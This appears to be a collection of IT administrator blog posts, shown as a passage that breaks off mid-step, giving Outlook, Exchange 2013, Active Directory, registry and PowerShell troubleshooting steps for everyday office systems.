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## Outlook 2016 Autocomplete (nk2)

When you start an email and you start to type in an email address, OUTLOOK will show a drop-down list of email addresses you've written to before.

This is an AUTOCOMPLETE-list (This is not an address-book or contact-list). What's surprising to me is that, to users, this list is more important than the contact-list or address-book. Probably because it automatically show.

What's more suprising is that there is no connection between the contact-list, address-book or AUTOCOMPLETE-list.

### History Autocomplete

The AUTOCOMPLETE file used to be called the NK2 file. There is a ton of information about the NK2 file.But it's 2017 and closing to 2018, the NK2 file is no longer relevant. The data on the internet is becoming long in the tooth. So much bad information.

### Location Autocomplete

In any event, the AUTOCOMPLETE list in OUTLOOK 2016 is here:

C:\Users\foo.user\AppData\Local\Microsoft\outlook\RoamCache\

The file name is something like:

Stream_Autocomplete_0_A603AC42FB764D4C9662D971D85637C2.dat

### !!!Step 1 For Autocomplete!!!

Before you do anything, copy this file as a backup!!! The file size is small and can be copied in less than 5 seconds. This file is known to be volitile and can go from a large size down to zero without warning. This is why you want a backup.

### Transfer Autocomplete

If you have an old computer and OUTLOOK setup and your new comuter and OUTLOOK setup doesn't have the list, you can:

• -close OUTLOOK.
• -copy this file to the new computer.
• -place in the following directory: C:\Users\foo.user\AppData\Local\Microsoft\outlook\RoamCache\
• -rename the current DAT file to something like: Stream_Autocomplete_0_A603AC42FB764D4C9662D971D85637C2.dat.old
• -change the wanted DAT file (with all the info in it) name to the current name, something like: Stream_Autocomplete_0_A603AC42FB764D4C9662D971D812345.dat

### Export Autocomplete

You can export the names in the DAT file. Despite the name, the NK2EDIT is the best tool for this:

This will save the file as an NK2 file that can later be imported somewhere else.

### Import Autocomplete

This is for a fresh OUTLOOK with no AUTOCOMPLETE.

• -open the NK2 from the old system.
• -click FILE > EXPORT-TO-MESSAGE-STORE

This will overwrite the existing AUTOCOMPLETE with the items from the old AUTOCOMPLETE.

### Merge Autocomplete

This is to merge old AUTOCOMPLETE with the current AUTOCOMPLETE.

• -open the NK2 from the old system.
• -click FILE > IMPORT-FROM-MESSAGE-STORE
• (This will merge the current AUTOCOMPLETE with the info from the older AUTOCOMPLETE.)
• -click FILE > EXPORT-TO-MESSAGE-STORE

This will overwrite the existing AUTOCOMPLETE with the items from the old AUTOCOMPLETE.

### Rebuild Autocomplete

Let's say that the AUTOCOMPLETE file is gone. For whatever reason, it is emtpy (I'm bashfully looking away, avoiding eye contact). But you still have your PST/OST file. Can't you just rebuild the AUTOCOMPLETE with information that is in the SENT-ITEMS folder?

Yes, you can. Here's how:

•  -open NK2EDIT (the list will be empty).

This will allow you to rebuild the AUTOCOMPLETE with items from your SENT-ITEMS folder. This is probably what you want; as everyone you've written an email to will automatically be placed in here. In addition, you can place a checkmark to items from your INBOX as well.

Fiddle around with the settings and when you are satisfied, click FILE > EXPORT-TO-MESSAGE-STORE.

### Edit the AUTOCOMPLETE

• -open NK2EDIT and edit away.
• -be sure to FILE > EXPORT-TO-MESSAGE-STORE.

### Final Thoughts

In short, this is an oldy but goody. Considering the importance of AUTOCOMPLETE items to users, you wonder why this isn't built directly into the OUTLOOK.

### NOTES

There is a POWERSHELL script that didn't exactly work for me but it looks promising if could be updated:

## Outlook 2016 Won't Open - Crashes Upon Starting Outlook 21016

Outlook 2016 Won't Open - Crashes Upon Starting Outlook 21016. Here's how I fixed it:

### Office365 Repair

• -close OUTLOOK
• -click START > CONTROL-PANEL > PROGRAMS-AND-FEATURES
• -click MICROSOFT-OFFICE-365
• -click CHANGE (at the top).
• -click FULL-REPAIR (not "quick-repair")
• -wait 15 minutes.
• -try OUTLOOK again when finished.

### x64 Bit

If that doesn't work, I've found the x64 bit to be more stable:

• -uninstall Microsoft Office x32
• -restart computer.
• -install Microsoft Office x64

### Outlook Safe Mode

If that doesn't work:

• -hold CONTROL
• -click OUTLOOK icon to open.
• -click YES (for disable plugins)
• -uncheck everything.
• -click OK
• -close OUTLOOK
• -open OUTLOOK in normal mode.

### Set Data File

If that doesn't work:

• -click START > SETTINGS > CONTROL-PANEL > MAIL
• -click EMAIL-ACCOUNTS
• -click DATA-FILES (at the top)
• -select your mail account in the list.
• -click SET-AS-DEFAULT
• (yes, even if it already is).
• -click CLOSE > CLOSE.
• -open OUTLOOK.

### Update iCloud

If that doesn't work:

### Office365 Account Conflict

If that doesn't work, you might have an OFFICE365 account conflict. You may have one OFFICE365 account for WORD, EXCEL, OUTLOOK and another OFFICE365 account for EMAIL.

• -click START > SETTINGS > ACCOUNT
• -click EMAIL-&-APP-ACCOUNTS (on the left-hand side).
• -remove the OFFICE365 account that is only for email (leaving the OFFICE365 account that is for WORD, EXCEL, etc or the one that you use to login to the computer [ie same as your username]).
• -make sure the correct DATA-FILE is set as the DEFAULT (see above).
• -open OUTLOOK

### Office Update

If that doesn't work:

• -click START > SETTINGS
• -click UPDATE-&-SECURITY
• -install any updates and restart the computer.

### Redo

If that doesn't work, you've probably spent too much time on this:

• -start a new profile.
• -add the email accounts back in.

## Microsoft Edge Pop Up Blocker Exceptions

Microsoft Edge Pop Up Blocker Exceptions

As of this writing, there is not pop up blocker exception setting in Microsoft Edge. There is only an ON/OFF option.

However, you can still adjust this manually through the registry or regedit. You can manually edit here:

[HKCU\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\Allow]

### Pop Up Blocker Exceptions Allow

Or you can follow the instructions below:

• -click start > run
• -type: cmd
• -type: echo y | reg add "HKCU\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\Allow" /v "url-name-here" /t REG_BINARY /d 00000000

(NOTE: keep the quotes in-tact. Use *.domain.tld for wildcard.)

### Pop Up Blocker Exceptions Allow In Private

Also note that PrivateWindows mode has separate values located here (which doesn't mean they are all that private):

• -click start > run
• -type: cmd
• -type: echo y | reg add "HKCU\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate" /v "url-name-here" /t REG_BINARY /d 00000000

(NOTE: keep the quotes in-tact. Use *.domain.tld for wildcard.)

## Exchange 2013 - Get the Number of Emails in a Folder

Exchange 2013 - Get the Number of Emails in a Folder

Here's how:

Get-MailboxFolderStatistics foo.user |Select Name, ItemsInFolder

It will show the folder structure and the number of items in each folder.

## Exchange could not load the certificate with thumbprint

Exchange could not load the certificate with thumbprint. Or as the warning message states in the logs:

Microsoft Exchange could not load the certificate with thumbprint of 59235427B7C322A8CFD7E1EB939445A2EAF9F670 from the personal store on the local computer.

### Get the information

There's a few ways to get the information to see the current certificate list.

First is through the Exchange Management Shell (EMS):

• -type: get-exchangecertificate

You can see the same list in the Exchange Admin Center (EAC):

• EAC > servers > certificates

You can also see the same list in Internet Information Services (IIS):

• -click server-name (on the left-hand side).
• -click SERVER-CERTIFICATES (on the middle section).

Once you have the information displayed, find the thumbprint of the certificate you are using for email.

### Fix the error

In EMS:

• -type: Enable-ExchangeCertificate -Thumbprint <new_certificate_thumbprint> -Services None
• -type: Enable-ExchangeCertificate -Thumbprint <new_certificate_thumbprint> -Services IMAP,POP,IIS,SMTP

### Explanation

This error is actually coming from the configuration of the: get-transportservice

More specifically, the value at: get-transportservice |select InternalTransportCertificateThumbprint

In older versions this is called: get-transportserver

More specifically, the value at: get-transportserver |select InternalTransportCertificateThumbprint

With this command you will see the thumbprint of the certificate in the log.

Typing the commands above will replace this value with the new value.

For the curious, there is no fine-tuned fix. In other words, the following does not exist or work. Use the above commands:

set-transportservice InternalTransportCertificateThumbprint <new-certificate-thumbprint-here>

## Find All Distribution Groups A User Is A Member Of

Find All Distribution Groups A User Is A Member Of. I hope that makes sense. Let's say you have a user name: foo.user. What groups is foo.user a member of?

Here's how:

Get-DistributionGroup -Filter "Members -like 'CN=foo user,OU=where-ever,OU=Users,DC=domain-name-here,DC=tld'"

Since the DistinguishedName is used, it makes it nearly impossible to use the command unless you keep it in a handy note somewhere. Instead, this may be easier:

-type: $distinguishedName = (Get-Mailbox -Identity foo.user).distinguishedname -type:$group = Get-DistributionGroup -Filter "Members -like '$($distinguishedName)'"
-type: Write-Host $group ## Adobe Lightroom High CPU on Mac OSX Another article on the internet about Adobe Lightroom with high cpu on Mac OSX because, well, it's a problem (and Apple doesn't care). • -close Lightroom app. • -delete: /Users/<username>/Library/Preferences/com.adobe.Lightroom6.plist • -delete: /Users/<username>/Library/Preferences/com.adobe.Lightroom6.LSSharedFileList.plist • -delete anything else that looks like it belongs to Lightroom in: /Users/<username>/Library/Preferences/ • -delete anything that looks like it belongs to Lightroom in: /Users/<username>/Library/Preferences/Adobe/ • -delete anything that looks like it belongs to Lightroom in: /Users/<username>/Library/Application Support/Adobe/ • -delete anything that looks like it belongs to Lightroom in: /Users/<username>/Library/Caches/Adobe/ • -open LIGHTROOM • -click LIGHTROOM > PREFERENCES > GENERAL. • -uncheck "Select the current/previous import collection during import." • -click PERFORMANCE (at the top). • -uncheck "Use Graphics Processor." • -make sure the import folder that it is trying to import from exists. In other words, sometimes the last import location is a external drive that doesn't exist anymore. Change it to somewhere neutral like the DESKTOP. ## Windows 10 Lock Icons Windows 10 Lock Icons. Here's how: • -click here to download the program: http://www.donationcoder.com/Software/Skrommel/index.html#DeskLock • -move the program to: C:\Program Files (x86)\DeskLock • -right-click DeskLock.exe • -click CREATE-SHORTCUT • -move the shortcut to: C:\Users\$username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
(where $username is your-username that you use to login to your computer) • -arrange the icons the way you want. • -reboot the computer. Having various clients, it's always interesting to see different perspectives. There is a class of client that approaches computers differently than I do. One question this class asks is, "How do I lock my icons on my DESKTOP?" The thinking is that the DESKTOP is the User Interface (UI). This UI should not be changed unless given specific permission and instructions to do so. Changing it without permission or instruction is nearly a violation of human rights. With as much attention that UI gets (and rightly so), one would think that the DESKTOP arrangement is utmost important rather than being flippantly changed every time a feature update comes along. One Operating System that I know of (Ubuntu) went so far as to lock the UI so that the TASKBAR and START-BUTTON are locked on the left hand side of the screen. And, of course, Mac OSX has always had the TASKBAR and APPLE menu at the top. A person unfamiliar or afraid of computers will not want anything changed. And as we get older, we have the tendency to want everything to stay the same. Don't have 2 buttons if you can have one. Even Mac mouses have only 1 button until told otherwise. Referring to Windows 10 annoying habit of re-arranging icons, as one client put it, "It's like someone coming into your home and rearranging your furniture without asking." I don't disagree. ## Mimecast Undeliverable - Unknown Address Error Problem Mimecast Undeliverable - Unknown Address Error. You get the message: ===== The following message to < This e-mail address is being protected from spambots. You need JavaScript enabled to view it > was undeliverable. The reason for the problem: 5.1.0 - Unknown address error 550-'Invalid Recipient - https://community.mimecast.com/docs/DOC-1369#550' ===== Further more, looking at the TRACKING diagnostics, you see the "Rejection Information" states, "Failed Known address verification." The issue is that the email address does exist in Exchange. What gives? Solution Well Mimecast has a few settings to receive email. This setting is on the domain/internal-directory level (administration > directories >internal-directories). There are a few options. One is "Accept emails for known recipients only." Accordingly, each user that you want to receive email for must be added to Mimecast. The first time a user sends an email outbound via Mimecast a user will be created. Since groups don't send email (typically), a Mimecast account is never added. So it's possible that there could be an email address in EXCHANGE that is not in Mimecast. Fortunately, users can also be added to Mimecast through: • import (ie import a list) • manually • AD sync If there are not a bunch of groups, it's probably easiest to just add the group email addresses manually. ## Generating Barcodes - Code 39 and Code 128 Generating barcodes is somewhat easy but can get complicated for various reasons. Before we get to it, know that there are several types of barcode formats. We're focusing on linear barcodes, CODE 39 and CODE 128. ### Code 39 (or Code 3 of 9) Code 39 is simple. In short, surround the text with asterisks and change the font to 3-OF-9. • -install the Code39 font here: http://www.fonts2u.com/3-of-9-barcode.font ([c] CAIL v1.0 - 1993) • -install the font. • -reboot the computer (this is required). • -in WORD: • type what you want in a barcode (ie ABC123). • surround it with asterisks (ie *ABC123*). • change the font to 3-OF-9. • that should do it! • -in EXCEL • type what you want in a barcode in column A: (ie ABC123) • create a simple formula (use the CONCAT function) in column B that surrounds the text with asterisks: (ie *ABC123*) • create a simple formula in column C that simply mirrors column B. • change the font on column C to font 3-OF-9. • that should do it! • -in FILEMAKER • create a field called INFO as text. • create a field called INFO_BARCODE as calculation. • create a calculation that concats the INFO field surrounded by asterisks ("*" & INFO & "*"). • put the fields on the layout. • on the INFO_BARCODE field, change the font to 3-OF-9. ### Code 128 Code128 is a little more challenging than Code39. You would want to use Code128 when you need a compact barcode in a small space where Code39 will not fit. The challenging item with Code128 is that you need to translate what you want in a barcode into a barcode-string that contains accent letters. • -install the Code128 font here: http://www.dafont.com/code-128.font ([c] GRANDZABU v1.2 - 2003) • -install the font. • -reboot the computer (this is required). • -go to an online barcode-string-builder, here: http://www.jtbarton.com/Barcodes/BarcodeStringBuilderExample.aspx • -type what you want barcoded. • -click TO CODE 128 • -in WORD: • paste in the results. • change the font to CODE-128. • that should do it! • -in EXCEL: • -in FILEMAKER • download the FILEMAKER plugin here: http://downloads.idautomation.com/IDAutomationFMPlugin.zip • unzip the download. • close FILEMAKER. • copy the plugin file called IDAutomation.fmx and paste it in C:\Program Files\FileMaker\FileMaker Pro\Extensions (adjust the path to your version accordingly). • open FILEMAKER. • create a field called INFO as text. • create a field called INFO_BARCODE as calculation. • create a calculation that returns the INFO field as a barcode string. Use the custom function like so: IDAu_Code128( INFO ) • the result should be calculated as TEXT (not NUMBER). • put the fields on the layout. • click FORMAT > FONTS > CONFIGURE/MORE-FONTS (at the top menu). • find CODE-128 (on the left-hand column). • click MOVE. • click OK. • select the INFO_BARCODE field. • hold CTRL and ALT keys (on your keyboard). • select the font to Code-128 (at the top). • that should do it! ### NOTES: For whatever reason, I struggled do this for days. Again, I found a bunch of misinformation or confusing documents that lead me astray. Even different/newer versions of the fonts were red herrings and did not produce correct results. With the correct fonts, installed correctly, with the correct plugins, installed correctly, with the correct calculations, calculating correctly and the fonts configured correctly, I was finally able to do this. ## Exchange 2013 Shared Mailbox ### Background A mailbox is a typical account. You have John Doe. He has an account. His account is a mailbox account. The account is This e-mail address is being protected from spambots. You need JavaScript enabled to view it . ### Options John works with others doing proposals. What are the options? 1. pseudonym 2. group-account 3. separate account 4. shared mailbox 5. outside system ### Option 1 - Pseudonym (What you start out doing) 1-We can setup a pseudonym/fake-account/vanity-account. No matter what you call it, the idea is the same. It is an email address that automatically goes a real account. For example: This e-mail address is being protected from spambots. You need JavaScript enabled to view it automatically goes to the inbox of John Doe. This is great if only one person is responsible. But as the team grows, this becomes cumbersome. ### Option 2 - Group Account (What you graduate to) 2-We can setup a group-account. This is similar to above but the email goes to more than one person. For example: This e-mail address is being protected from spambots. You need JavaScript enabled to view it automatically goes to the INBOX of John Done and Jane Doe. This is great if it is a small team. The problem becomes, not everyone on the group know if a response was sent. Also folder organization is different for everyone on the group. You want everyone to have the same info, and see the same responses, then see further on. ### Option 3 - Separate Account (What you shouldn't do) 3-We can setup a separate account. This is a typical account but instead of assigning it to one person, you give the username/password to a group of users. For example: This e-mail address is being protected from spambots. You need JavaScript enabled to view it has its own inbox and several users connect to it through way of username/password. NOTE: While this seems like a good idea, years of experience says that this is a bad, bad, bad idea. Mainly because years on down the line, you can't find out who is responsible for the account. When you check the account it has a bunch of email in the inbox that no one has checked for years. I have witnessed this countless times in many clients. Kindly convince them to do it another way or just agree with them and set it up another way. The end result will be the same as below. ### Option 4 - Shared Mailbox (What you'll be required to do) 4-We can setup a shared mailbox. A shared mailbox is very similar to a separate account. The difference is that rather than handing out a username/password and letting them connect to it, you assign the account to users and it automatically shows in their folder structure on OUTLOOK as a separate INBOX. This way when five years pass, you can tell who is using the account. Here's how: set-mailbox foo.user -Type Shared Great! You are almost there. Now assign permissions of the people who need to use the shared-mailbox. The people will need both FULL-ACCESS and SEND-AS permissions to control the account and send messages. There is also a SEND-ON-BEHALF option available. NOTE: -the FULL-ACCESS permission is an EXCHANGE permission (add-mailboxpermission/set-mailboxpermission/get-mailboxpermission/remove-mailboxpermission). -the SEND-ON-BEHALF permission is an EXCHANGE key property (set-mailbox foo.user -GrantSendOnBehalfTo/get-mailbox foo.user |select GrantSendOnBehalfTo). -the SEND-AS permission is an AD permission (Add-ADPermission/get-adpermission foo.user -ExtendedRights Send-As -user user1). Here's how to add the FULL-ACCESS and the SEND-AS permissions: Add-MailboxPermission foo.user -User user1 -AccessRights FullAccess -InheritanceType All | Add-ADPermission -Identity "foo user" -User user1 -ExtendedRights "Send As" You may have to fiddle around with the add-adpermission command as it want the AD name like this, "FirstName LastName" (not the DISPLAY-NAME or ALIAS). ANOTHER NOTE: -the command does not accept multiple values for the users. Your options are to create a group & run the command on the group (hint: do not do this), run the command separately for each user wanting access (hint: do this if there's a handful), run the command using a txt file (hint: do this if there's a bunch) or use the EAC/ECP. You are doing great! That should just about do it. #### Automapping Issues But there's one more item to cover; AUTOMAPPING. AUTOMAPPING automatically shows the shared-mailbox to show in Outlook. This way, users do not have to manually add the account to their OUTLOOK... the shared-account automatically shows. This saves a bunch of hassle trying to get everyone to use a second account and it prevents dreaded OUTLOOK problems. Adding the permissions above will automatically turn AUTOMAPPING on. There should be no further steps. However, what happens if the shared-account doesn't show in OUTLOOK? What then? Well, this seems to be an issue many run into for various reasons. So let's cover some of them. First, there is a way to set the AUTOMAPPING off so that you can add the account manually: Add-MailboxPermission foo.user -User user1 -AccessRights FullAccess -InheritanceType All -automapping$false

To check AUTOMAP, you have to use the Get-ADuser command (not an EXCHANGE command):

This command will show a list of accounts. If the account is in the list, then AUTOMAPPING is turned on for that account.

Second, AUTOMAPPING won't work for Organization-Managment-Administrators. This is because this group already has mailboxperissions set and it automatically includes a DENY (or DENY: True). DENY takes priority over ALLOW. There are ways to get around this but it is outside the scope of this article.

Third, AUTOMAPPING doesn't work if DNS is incorrect/not-working-the-way-that-makes-OUTLOOK-happy. For whatever reason, AUTOMAPPING works fine for locations where we have a flat domain structure (everyone is on the same domain). It doesn't work when we have separate domains (ie local computer domain is remotedomain.tld and email domain is emaildomain.tld). Again, troubleshooting this is outside the scope of this article.

Fourth, wait. For whatever reason sometimes it takes a few hours to show. Give it 24 hours before sounding the alarm.

So putting it all together.

See the FULL-ACCESS permissions:

get-mailboxpermission foo.user |select user,accessrights,deny,inheritancetype
get-mailboxpermission foo.user |where { ($_.IsInherited -eq$false) -and -not ($_.User -like “NT AUTHORITY\SELF”) } |select user,accessrights,deny,inheritancetype See the SEND-AS permissions: get-ADPermission "foo user" |ft user,extendedrights,accessrights get-ADPermission "foo user" |where {($_.ExtendedRights -like “*Send-As*”) -and ($_.IsInherited -eq$false) -and -not ($_.User -like “NT AUTHORITY\SELF”)} |ft user,extendedrights,accessrights get-ADPermission "foo user" |where {($_.IsInherited -eq $false) -and -not ($_.User -like “NT AUTHORITY\SELF”)} |ft user,extendedrights,accessrights

See the AUTOMAPPING value:

That's it! Go home. You're done for the day.

#### Outlook Web Access and Shared Mailboxes

Outlook Web Access (OWA) will not automatically map shared mailboxes the same way that the OUTLOOK app does.You will have to manually add the shared mailbox.

-right-click your name (on the left-hand side).
-click on the name that shows.
-the account will show on the left-hand side.

#### Sent Items with Shared Mailboxes

Sent items automatically go in the SENT folder of the delegate (the person accessing the shared mailbox) and not the shared mailbox. Some people do not like this. So there is a registry edit you can do to put the sent message in the shared mailbox sent folder instead:

echo y | reg add "HKCU\Software\Microsoft\Office\[version]\Outlook\Preferences" /v DelegateSentItemsStyle /t REG_DWORD /d 00000001

NOTE: [version] is:
OUTLOOK-2010 = 14.0
OUTLOOK-2013 = 15.0
OUTLOOK-2016 = 16.0

NOTE-2: Here's a really good article:
http://windowsitpro.com/office-365/using-shared-mailboxes-office-365

#### Deleted Items with Shared Mailboxes

Same applies for the deleted items. Here's the registry edit you can use to put the deleted messages in the shared mailbox deleted folder:

echo y | reg add "HKCU\Software\Microsoft\Office\[version]\Outlook\Options\General" /v DelegateWastebasketStyle /t REG_DWORD /d 00000004

### Option 5 - Outside System (What you should do. Hint: pick this one!)

5-The other option is to use an outside system. A customer relationship management tool or CRM. Something like Salesforce, HighRise, Zendesk-Inbox, etc (I'm sure there are others). The reason you do this is because the goal of this situation is to work together and consolidate items down to one spot. Teams try to solve this through email because that is what they are used to using as individuals. But teams need to work together.

Email is communication. Email is not issue-tracking, customer-tracking, proposal-tracking. Teams "feel" like there's a lot going on but when you look a the actual issues/customers/proposals on hand, there may not be that many. There's a lot of motion but very little movement down field.

These systems track the issues/proposals and consolidate all communication down to those issues. Suddenly, 100 emails boil down to 7 issues with a status (such as PENDING or 80%) and an assignment so you can see who (individual or team) is assigned to the issue/proposal.

Initially, you can assign issues/leads/proposals and track them, keeping the communication/email with the lead.

Eventually, you can capture metrics such as win/loss and view a pipeline of what may be coming in the near future.

Here are some tools to consider:

Sometimes if you don't need a CRM just a simple solution, Zendesk-Inbox might be a good fit. As of this writing it is in beta.

## Quick Tip: See Remote Desktop Connections

Quick Tip: See Remote Desktop Connections

To see remote desktop connections (RDP connections):

-type: query user

It will show the connection and the idle time. This way if you are sharing a username, you can see if the account has been idle so you can connect without disrupting the other person.

### HOW WE GOT HERE

THEM: I get a "Windows Security" login when I try to setup Outlook. It should just pick up all the settings automatically through autodiscover after I type in the email address and the password.

ME: Who cares. Everything is working. Type it in twice and move on with life.

THEM: It shouldn't be this way. It wasn't this way at my last place. We just typed in the email address and password and everything automatically worked.

ME: Sigh. I'll look into it.

### OUTLOOK ANYWHERE OPTIONS (RPC over HTTP)

Well I'm glad I did look into it. From my other articles, the fine tuning of an MS EXCHANGE system is what makes it powerful as well as difficult.

So why is OUTLOOK ANYWHERE involved? Because all versions of OUTLOOK starting with OUTLOOK 2013 communicate through OUTLOOK ANYWHERE configuration (aka RPC over HTTP).

In this instance, EXCHANGE can change the way OUTLOOK talks to it. There are three options:

• BASIC: username and password is required while attempting communication with Exchange.
• NTLM: the current Windows user information on the client computer is supplied through cryptography communication. If the communication fails, a prompt for the username and password is required. In theory, if the computer is joined to the domain, a username and password is not needed.
• NEGOTIATE: kinda like the same thing as NTLM except it uses a more updated version.

In addition to these options, EXCHANGE can have different setting for outside the office or inside the office.

By default, EXCHANGE 2016 uses NEGOTIATE for outside the office and NTLM for inside the office.

### HOW TO CHANGE OUTLOOK ANYWHERE SETTINGS

To see all the current settings:

Get-outlookanywhere |fl

To see the current settings we are interested in:

To set the settings to the default if they have been changed:

Set-OutlookAnywhere -identity "rpc (Default Web Site)" -SSLOffloading $true -InternalClientAuthenticationMethod NTLM -ExternalClientAuthenticationMethod Negotiate -IISAuthenticationMethods Basic,NTLM,Negotiate ### NOTES What's interesting to me is that the builtin documentation claims there are more settings. To see the builtin documentation: help set-outlookanywhere -detailed To see the online documentation: https://technet.microsoft.com/en-us/library/bb123545(v=exchg.150).aspx They list out the settings as the following with no further info on the other options: Basic | Digest | Ntlm | Fba | WindowsIntegrated | LiveIdFba | LiveIdBasic | WSSecurity | Certificate | NegoEx | OAuth | Adfs | Kerberos | Negotiate | LiveIdNegotiate | Misconfigured ## Managing Exchange 2013 Groups Managing Exchange 2013 Groups ### Simplified System In a simplified logical system, there are the following: -user: a single individual. -group: more than one user. In addition, groups are universal in the company. A group is a group. There are no group types. A group can access resources and receive email. ### Windows Server In MS world, there are more options for fine-grain control. There is a security-group to access resources and a distribution-group to receive email. (For the curious, these are the only two types of groups, there are no other types of groups.) Let's begin, shall we. ### GET-DISTRIBUTIONGROUP To see all the distribution groups: Get-DistributionGroup |select PrimarySMTPAddress To see all the distribution groups that receive email from the outside world: Get-DistributionGroup | ? {$_.RequireSenderAuthenticationEnabled -eq $true} | select PrimarySMTPAddress To see all the distribution groups that receive email only from within the company: Get-DistributionGroup | ? {$_.RequireSenderAuthenticationEnabled -eq $false} | select PrimarySMTPAddress Great! Let's move on to the AD side of the system ### GET-ADGROUP But before we do, note that typically, using a command and "|fl" will let you see all the info. On get-adgroup command, it doesn't work. You have to use: To see all of the AD group properties: Get-ADGroup -identity "foo-group" -prop * Also note that the get-adgroup command uses the SAMACCOUNTNAME (it does not use the NAME or DISPLAYNAME as other commands). So if you have an ad-group with the name FOO-GROUP-NAME but the SAMACCOUNTNAME is FOO-GROUP-SAMACCOUNTNAME, you have to use the SAMACCOUNTNAME: Get-ADGroup -identity "foo-group-samaccountname" -prop * To see all the groups (both AD and distribution as all distribution groups are AD groups): Get-ADGroup -Filter * -Prop * |select name,samaccountname,mailnickname To see AD security-groups (groups without email addresses): Get-ADGroup -filter {GroupCategory -eq "Security"} |select name,samaccountname To see AD distribution-groups: Get-ADGroup -Filter 'GroupCategory -eq "Distribution"' -prop * |select name,samaccountname,mailnickname ### ISSUES Theoretically, this list should match the get-distributiongroup list from above. But you might notice that some distribution-groups that do not have email addresses. That's kinda strange. What gives? Sometimes the AD distribution-group does not have the necessary info in the database. Having this info is called mail-enabled. There's even a command just to handle this. To mail-enable a distribution group that needs it: Enable-DistributionGroup -Identity "foo-group" (NOTE: This will even work on security-groups.) Also, there are some items in the get-distributiongroup list from above that are not in the get-adgroup command above. What gives? Well because groups can be mail-enabled, it is possible for a security-group to be mail-enabled as well. To see AD security-groups with mail-enabled: Get-ADGroup -Filter 'GroupCategory -eq "Security"' -prop * |select name,mailnickname Finally as a last question, if both group-types (distribution and security) can be mail-enabled, what's the point of having group types? Good question. There isn't. It is the way the world works. ## Restore Deleted User in Active Directory Restore Deleted User in Active Directory • -click Start > Right click Command Prompt/PowerShell > Select Run as Administrator • -type: ldp • -press Enter • -click CONNECTION > CONNECT • -type in the server name: foo-dc1 (leave everything as default) • -click OK • -click CONNECTION > BIND • -bullet 'Bind As Currently Logged On User' • -click OK • -click VIEW > TREE • -select DC=domain-name-here,DC=tld(ie DC=daknetworks,DC=com) • -double-click CN=Deleted Objects,DC=domain-name-here,DC=tld (on the left hand side) A list of deleted objects will show on the left hand side and will look like this: CN=Foo User\0ADEL:d8dae83b-348c-4b48-af63-6ef9eb88b8e3,CN=Deleted Objects,DC=daknetworks,DC=com • -find the deleted user that was deleted. • -double-click on the user. • (the details of the user will show on the right-hand side) • -right-click on the user > Modify • -for ATTRIBUTES, type: isDeleted • -for OPERATION, bullet DELETE • -click ENTER Now we have to tell AD where to restore the user. • -for ATTRIBUTES, type: distinguishedName • -for VALUES, type the original DN of the object. • You can find the last-known distinguishedName by looking on the right-hand side. It will say "lastKnownParent". Simply add the user name before. For example: CN=foo user,OU=whatever,OU=wherever,OU=allUsers,DC=daknetworks,DC=com • -for OPERATION, bullet REPLACE • -click ENTER • -checkmark EXTENDED (lower-left). • -click RUN. The user is restored successfully to the OU you defined. You might have to re-add some info and re-enable the Exchange mailbox. ## Recover Deleted Items from Exchange 2013 | Recover Deleted Items from Outlook2013 | Recover Deleted Items from Outlook 2016 Recover Deleted Items from Exchange 2013 | Recover Deleted Items from Outlook2013 | Recover Deleted Items from Outlook 2016 ### DEFINITIONS DELETE - deletes the messages from the folder. Moves the messages into the DELETED-ITEMS folder (or the TRASH folder). RETENTION - the time that you can recover items even if the messages were permanently-deleted (or deleted from the DELETED-ITEMS folder). ### DISCOVERY Exchange 2013 will have a RETENTION time for permanently-deleted messages. This setting is on the MAILBOX-DATABASE and not on the MAILBOX or individual account. To see the settings, first find all the MAILBOX-DATABASEs names and their retention time: -get-mailboxdatabase |select Name,DeletedItemRetention It will spit out something like: Name DeletedItemRetention ---- -------------------- Mailbox A 14.00:00:00 Mailbox B 14.00:00:00 Mailbox C 14.00:00:00 Great! You know that you have 14 days to retrieve something that was deleted. ### SET RECOVERY If you need to set recovery on a MAILBOX-DATABASE to say 30 days or if a retention is not set and you need to set it: set-mailboxdatase "mailbox b" -DeletedItemRetention 30.00:00:00 (days.hours:minutes:seconds) ### RECOVER IN OUTLOOK 2013 | RECOVERY IN OUTLOOK 2016 -click DELETED-ITEMS (on the left-hand side). -click RECOVER-DELETED-ITEMS-FROM-SERVER (at the top). You should see a list of the messages from the last 2 weeks. -control-click to select the messages you want. -click OK to restore them. It should put them back into the folder where they went missing. ### RECOVER IN EXCHANGE 2016 If that's too much trouble for the person, then you can do it on their behalf in the EMS. This will put all the recovery items in the user's mailbox in a recovery-folder called 'foo.user.recovery': Search-Mailbox foo.user -SearchDumpsterOnly -TargetMailbox foo.user -TargetFolder foo.user.recovery -LogLevel Full And if you really want to search through the recovery items and restore them: Search-Mailbox foo.user -SearchQuery "sent: '04/10/17' AND from: 'foo.sender'" -TargetMailbox foo.user -TargetFolder "foo.user.recovery" -LogLevel Full ## Create a NIC Team, Create NIC Bond, Create Load-Balancing, LBFO, For Hyper-V Here's how to create a NIC Team/NIC Bond/Load-Balancing/LBFO setup. This setup is then used in a virtual machine enviroment for all the VM's to use. First update drivers to INTEL newest drivers v21.1. We will be using LBFO (LOADBALANCING-FAILOVER) which is built into Windows Server rather than INTEL ANS (Advanced Networking Services) which is built into the Intel driver. The reason for this is that ultimately there are too many issues if you do not use what is built into the Windows OS. Updates and other items will keep having trouble with INTEL ANS. ### Remove Existing Settings -remove static settings from existing nics. -remove virtual switch in Hyper-V. ### Establish New Settings in PowerShell -first, see the network adapters you have: get-netadapter -renamed nic1 to TeamNic1: rename-netadapter "Local Area Connection" "TeamNic1" -renamed nic2 to TeamNic2: rename-netadapter "Local Area Connection 2" "TeamNic2" -created nic team with name ManagementTeam: new-netlbfoteam -Name "ManagementTeam" -TeamMembers TeamNic1,TeamNic2 -TeamingMode SwitchIndependent -LoadBalancingAlgorithm TransportPorts -created virtualswitch called ConvergedNetSwitch: New-VMSwitch "ConvergedNetSwitch" -MinimumBandwidthMode weight -NetAdapterName "ManagementTeam" -click SERVER-MANAGER (the management gui in Windows Server that shows when you start the server) -click LOCAL-SERVER (on the left-hand side). -find 